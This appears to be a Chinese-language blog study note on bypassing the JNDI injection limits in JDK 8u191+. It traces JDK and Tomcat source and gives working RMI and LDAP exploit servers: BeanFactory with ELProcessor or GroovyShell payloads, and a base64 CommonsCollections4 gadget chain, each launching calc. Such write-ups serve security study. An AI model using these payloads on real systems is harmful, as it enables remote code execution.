Java JNDI注入(三)
前言:上一篇的jndi注入和原理都学习了之后,基本在jdk8中的191以下都可以进行远程恶意类的加载,然后这里就继续来学习jdk8 191之后的绕过方法
参考文章:https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html
对于Oracle JDK 11.0.1、8u191、7u201、6u211或者更高版本的JDK来说,默认环境下之前这些利用方式都已经失效。然而,我们依然可以进行绕过并完成利用。
自己搜索到有两种方法都可以绕过191,这两种方式都非常依赖受害者本地CLASSPATH中环境,需要利用受害者本地的Gadget进行攻击。
利用本地Class作为Reference Factory
原理:找到一个受害者本地CLASSPATH中的类作为恶意的Reference Factory工厂类,并利用这个本地的Factory类执行命令。
环境还是JNDI注入(二)笔记中的环境,此时我用的还是rmi+jndi,我的jdk版本是8u181,我这次把System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
进行注释,最后结果为如下:
调试可以发现,在decodeObject方法判断trustURLCodebase处就会抛出错误
想要绕过trustURLCodebase判断,如下所示,trustURLCodebase配置项肯定没办法,但是getFactoryClassLocation()
,当reference不设置远程加载恶意的Factory的时候,这个返回的就是null,那么这条语句就不成立!
if (var8 != null && var8.getFactoryClassLocation() != null && !trustURLCodebase) {
throw new ConfigurationException("The object factory is untrusted. Set the system property 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'.");
} else {
return NamingManager.getObjectInstance(var3, var2, this, this.environment);
}
getFactoryClassLocation()
不让它成立,那么Reference只能如下的规则来进行生成,也就是说还可以定义String className, String factory
那么String className, String factory
,这两个属性在Client请求绑定对象的时候在哪里生效呢?继续来找下,其实还是在getObjectFactoryFromReference这个方法中
所以如果本地存在可以进行利用的gadgets那么还是可以进行JNDI注入,从而绕过trustURLCodebase
这个工厂类必须在受害目标本地的CLASSPATH中。工厂类必须实现 javax.naming.spi.ObjectFactory
接口,并且至少存在一个getObjectInstance()
方法。
org.apache.naming.factory.BeanFactory配合javax.el.ELProcessor#eval
org.apache.naming.factory.BeanFactory
刚好满足条件并且存在被利用的可能。org.apache.naming.factory.BeanFactory
存在于Tomcat依赖包中,所以使用也是非常广泛。
org.apache.naming.factory.BeanFactory
在 getObjectInstance() 中会通过反射的方式实例化Reference所指向的任意Bean Class,并且会调用setter方法为所有的属性赋值。
而该Bean Class的类名、属性、属性值,全都来自于Reference对象,均是攻击者可控的。
pom包环境需要Tomcat的依赖,因为org.apache.naming.factory.BeanFactory存在Tomcat中
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>8.5.0</version>
</dependency>
<dependency>
<groupId>org.apache.el</groupId>
<artifactId>com.springsource.org.apache.el</artifactId>
<version>7.0.26</version>
</dependency>
Client如下,加载本地类org.apache.naming.factory.BeanFactory
返回了一个BeanFactory对象
接着就是调用该BeanFactory对象的getObjectInstance方法,先是生成javax.el.ELProcessor Class对象
接着就是实例化javax.el.ELProcessor,后面说明为什么实例化的是ELProcessor,这里可以看到是通过Class实例来进行newInstance的,说明要利用的类还需要有一个public的构造函数才可以
接着跟如下一部分,取出当前ResourceRef对象中的forceString属性,这里设置的forceString值为KINGX=eval
调用如下
接着调用取出"x"的为主键的字符串值
最后进行调用"x"主键中的字符串,el表达式进行执行,最终执行命令calc
public Object getObjectInstance(Object obj, Name name, Context nameCtx,
Hashtable<?,?> environment)
throws NamingException {
if (obj instanceof ResourceRef) { // 判断obj对象是否是ResourceRef
try {
Reference ref = (Reference) obj;
String beanClassName = ref.getClassName(); // 获取ref中className属性
Class<?> beanClass = null;
ClassLoader tcl = Thread.currentThread().getContextClassLoader();
if (tcl != null) {
try {
beanClass = tcl.loadClass(beanClassName);
} catch(ClassNotFoundException e) {
}
} else {
try {
beanClass = Class.forName(beanClassName); // 本地加载对应的Class对象
} catch(ClassNotFoundException e) {
e.printStackTrace();
}
}
if (beanClass == null) {
throw new NamingException
("Class not found: " + beanClassName);
}
BeanInfo bi = Introspector.getBeanInfo(beanClass); // 获取相关Class的信息
PropertyDescriptor[] pda = bi.getPropertyDescriptors(); // 获取相关参数
Object bean = beanClass.newInstance(); // 实例化对应的className,获得一个对象,那么我们利用的类有个前提条件就是该beanClass对象存在一个公有的无参构造函数
/* Look for properties with explicitly configured setter */
RefAddr ra = ref.get("forceString"); // 获取forceString字符串
Map<String, Method> forced = new HashMap<>();
String value;
if (ra != null) {
value = (String)ra.getContent(); // 获取forceString中的值
Class<?> paramTypes[] = new Class[1]; // 存储下面的String.class,那么我们利用的类有个前提条件,对应方法的第一个参数为String类型
paramTypes[0] = String.class;
String setterName;
int index;
/* Items are given as comma separated list */
for (String param: value.split(",")) { // 通过“,”来进行切分
param = param.trim();
/* A single item can either be of the form name=method
* or just a property name (and we will use a standard
* setter) */
index = param.indexOf('='); // 如果param中有“=”符号的话
if (index >= 0) {
setterName = param.substring(index + 1).trim(); // setterName=eval
param = param.substring(0, index).trim(); // param=KINGX
} else {
setterName = "set" + param.substring(0, 1).toUpperCase(Locale.ENGLISH) +
param.substring(1);
}
try {
forced.put(param, beanClass.getMethod(setterName, paramTypes)); // KINGS=eval(方法)
} catch (NoSuchMethodException|SecurityException ex) {
throw new NamingException
("Forced String setter " + setterName +
" not found for property " + param);
}
}
}
Enumeration<RefAddr> e = ref.getAll(); // 获取ref中所有的字符串
while (e.hasMoreElements()) {
ra = e.nextElement();
String propName = ra.getType();
if (propName.equals(Constants.FACTORY) ||
propName.equals("scope") || propName.equals("auth") ||
propName.equals("forceString") ||
propName.equals("singleton")) {
continue;
}
value = (String)ra.getContent();
Object[] valueArray = new Object[1];
/* Shortcut for properties with explicitly configured setter */
Method method = forced.get(propName); // 获取到eval(方法)
if (method != null) {
valueArray[0] = value; // value也是我们可控的,此时value则是执行命令的字符串
try {
method.invoke(bean, valueArray); // 最终执行命令即可触发
} catch (IllegalAccessException|
IllegalArgumentException|
InvocationTargetException ex) {
throw new NamingException
("Forced String setter " + method.getName() +
" threw exception for property " + propName);
}
continue;
}
. ....
....
}
绕过复现
RMIReferenceServerTest.java
public class RMIReferenceServerTest {
public static void main(String[] args) throws Exception{
System.out.println("Creating evil RMI registry on port 9527");
LocateRegistry.createRegistry(9527);
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
ref.add(new StringRefAddr("forceString", "x=eval"));
ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()\")"));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
Naming.bind("rmi://192.168.1.230:9527/AAAAAA", referenceWrapper);
System.out.println("RMI服务启动成功,服务地址:" + "rmi://192.168.1.230:9527/AAAAAA");
}
}
org.apache.naming.factory.BeanFactory配合groovy.lang.GroovyShell##evaluate
相关的pom依赖
<dependency>
<groupId>org.codehaus.groovy</groupId>
<artifactId>groovy-all</artifactId>
<version>1.5.0</version>
</dependency>
GroovyShell测试命令执行代码:
public class TestGroovy {
public static void main(String[] args) {
GroovyShell groovyShell = new GroovyShell();
groovyShell.evaluate("'calc'.execute()");
}
}
从上面的第一个BeanFactory分析可以看出来,如果想要找利用类的话,该类必须要满足这几个条件:
1、存在公有的无参构造函数
2、存在一个命令执行函数并且该函数只有一个参数,这个参数的类型为String类型
GroovyShell#evaluate方法满足
绕过复现
RMIReferenceServerTest.java
public class RMIReferenceServerTest {
public static void main(String[] args) throws Exception{
System.out.println("Creating evil RMI registry on port 9527");
LocateRegistry.createRegistry(9527);
ResourceRef ref = new ResourceRef("groovy.lang.GroovyShell", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
ref.add(new StringRefAddr("forceString", "x=evaluate"));
ref.add(new StringRefAddr("x", "'calc'.execute()"));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
Naming.bind("rmi://192.168.1.230:9527/AAAAAA", referenceWrapper);
System.out.println("RMI服务启动成功,服务地址:" + "rmi://192.168.1.230:9527/AAAAAA");
}
}
利用LDAP的javaSerializedData反序列化gadget
原理:利用LDAP直接返回一个恶意的序列化对象,JNDI注入依然会对该对象进行反序列化操作,利用反序列化Gadget完成命令执行。
简而言之,LDAP Server除了使用JNDI Reference进行利用之外,还支持直接返回一个对象的序列化数据。如果Java对象的javaSerializedData属性值不为空,则客户端的 obj.decodeObject() 方法就会对这个字段的内容进行反序列化
将客户端的jdk版本调到191以上,然后再进行测试,发现已经不能利用了,运行之后没有反应,如下图所示
这里先分析正常流程是怎么走的,这里直接来到LDAP客户端触发反序列化的位置,如下图所示
这里继续跟来到如下decodeObject方法中,可以看到它会先进行判断你的服务端是否有设置JAVA_ATTRIBUTES[1]参数,JAVA_ATTRIBUTES[1]对应的就是javaserializeddata,如果没有的话那么久继续向下执行,当我们没有设置javaserializeddata参数的时候,这时候就会去执行下面这段代码decodeReference方法
return var1 == null || !var1.contains(JAVA_OBJECT_CLASSES[2]) && !var1.contains(JAVA_OBJECT_CLASSES_LOWER[2]) ? null : decodeReference(var0, var2);
这里就不在跟了,这里我给个堆栈图如下所示
loadClass:101, VersionHelper12 (com.sun.naming.internal)
getObjectFactoryFromReference:158, NamingManager (javax.naming.spi)
getObjectInstance:189, DirectoryManager (javax.naming.spi)
c_lookup:1085, LdapCtx (com.sun.jndi.ldap)
p_lookup:542, ComponentContext (com.sun.jndi.toolkit.ctx)
lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:94, ldapURLContext (com.sun.jndi.url.ldap)
lookup:417, InitialContext (javax.naming)
main:11, LdapClient (com.zpchcbd.ldap)
一直跟的话,最终在com.sun.naming.internal.VersionHelper12停下,可以看到这里在ldap中jdk191之后也开始进行了检测
public Class<?> loadClass(String className, String codebase)
throws ClassNotFoundException, MalformedURLException {
if ("true".equalsIgnoreCase(trustURLCodebase)) {
ClassLoader parent = getContextClassLoader();
ClassLoader cl = URLClassLoader.newInstance(getUrlArray(codebase), parent);
return loadClass(className, cl);
} else {
return null;
}
}
这里绕过的方法就是通过Obj类中的decodeObject方法中的处理,你可以看到第一个if判断中,如果attrs.get(JAVA_ATTRIBUTES[SERIALIZED_DATA])成立的话,那么就会执行deserializeObject方法,而这里的JAVA_ATTRIBUTES[1]对应的参数就是javaSerializedData参数,所以这边我们只需要满足javaSerializedData参数那么就可以绕过上面的trustURLCodebase的限制
com/sun/jndi/ldap/Obj.java
static Object decodeObject(Attributes attrs)
throws NamingException {
Attribute attr;
// Get codebase, which is used in all 3 cases.
String[] codebases = getCodebases(attrs.get(JAVA_ATTRIBUTES[CODEBASE]));
try {
if ((attr = attrs.get(JAVA_ATTRIBUTES[SERIALIZED_DATA])) != null) { // 绕过jdk高版本jndi注入,触发点在这边
if (!VersionHelper12.isSerialDataAllowed()) {
throw new NamingException("Object deserialization is not allowed");
}
ClassLoader cl = helper.getURLClassLoader(codebases);
return deserializeObject((byte[])attr.get(), cl);
} else if ((attr = attrs.get(JAVA_ATTRIBUTES[REMOTE_LOC])) != null) {
// For backward compatibility only
return decodeRmiObject(
(String)attrs.get(JAVA_ATTRIBUTES[CLASSNAME]).get(),
(String)attr.get(), codebases);
}
attr = attrs.get(JAVA_ATTRIBUTES[OBJECT_CLASS]);
if (attr != null &&
(attr.contains(JAVA_OBJECT_CLASSES[REF_OBJECT]) ||
attr.contains(JAVA_OBJECT_CLASSES_LOWER[REF_OBJECT]))) {
return decodeReference(attrs, codebases);
}
return null;
} catch (IOException e) {
NamingException ne = new NamingException();
ne.setRootCause(e);
throw ne;
}
}
最终的服务端起的代码可以是如下
LdapServer.java
public class LdapServer {
public static void main(String[] args) throws Exception {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig("dc=example,dc=com");
config.setListenerConfigs(new InMemoryListenerConfig(
"listen",
InetAddress.getByName("172.20.10.2"),
1199,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()
));
config.addInMemoryOperationInterceptor(new OperationInterceptor());
InMemoryDirectoryServer directoryServer = new InMemoryDirectoryServer(config);
directoryServer.startListening();
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
@Override
public void processSearchResult(InMemoryInterceptedSearchResult result) {
String base = result.getRequest().getBaseDN();
String className = "com.zpchcbd.jndi.objectfactory.ldap.ReferenceObjectFactory";
Entry entry = new Entry(base);
try {
entry.addAttribute("javaClassName", className);
entry.addAttribute("javaSerializedData", Base64.decode("rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAQm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuY29tcGFyYXRvcnMuVHJhbnNmb3JtaW5nQ29tcGFyYXRvci/5hPArsQjMAgACTAAJZGVjb3JhdGVkcQB+AAFMAAt0cmFuc2Zvcm1lcnQALUxvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnM0L1RyYW5zZm9ybWVyO3hwc3IAQG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuY29tcGFyYXRvcnMuQ29tcGFyYWJsZUNvbXBhcmF0b3L79JkluG6xNwIAAHhwc3IAO29yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuZnVuY3RvcnMuQ2hhaW5lZFRyYW5zZm9ybWVyMMeX7Ch6lwQCAAFbAA1pVHJhbnNmb3JtZXJzdAAuW0xvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnM0L1RyYW5zZm9ybWVyO3hwdXIALltMb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zNC5UcmFuc2Zvcm1lcjs5gTr7CNo/pQIAAHhwAAAABHNyADxvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnM0LmZ1bmN0b3JzLkNvbnN0YW50VHJhbnNmb3JtZXJYdpARQQKxlAIAAUwACWlDb25zdGFudHQAEkxqYXZhL2xhbmcvT2JqZWN0O3hwdnIAEWphdmEubGFuZy5SdW50aW1lAAAAAAAAAAAAAAB4cHNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnM0LmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABoAAAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAac3EAfgASdXEAfgAXAAAAAnB1cQB+ABcAAAAAdAAGaW52b2tldXEAfgAaAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4AF3NxAH4AEnVyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0AAhjYWxjLmV4ZXQABGV4ZWN1cQB+ABoAAAABcQB+AB93BAAAAANzcgARamF2YS5sYW5nLkludGVnZXIS4qCk94GHOAIAAUkABXZhbHVleHIAEGphdmEubGFuZy5OdW1iZXKGrJUdC5TgiwIAAHhwAAAAAXNxAH4ALwAAAAJ4"));
} catch (ParseException e) {
e.printStackTrace();
}
entry.addAttribute("objectClass", "javaNamingReference");
try {
result.sendSearchEntry(entry);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}catch (Exception e){
e.printStackTrace();
}
}
}
}
服务端开起来,然后客户端进行运行,看到可以成功反序列化,如下图所示
重新调试下可以看到,它已经开始走进的是第一个if的分支语句中deserializeObject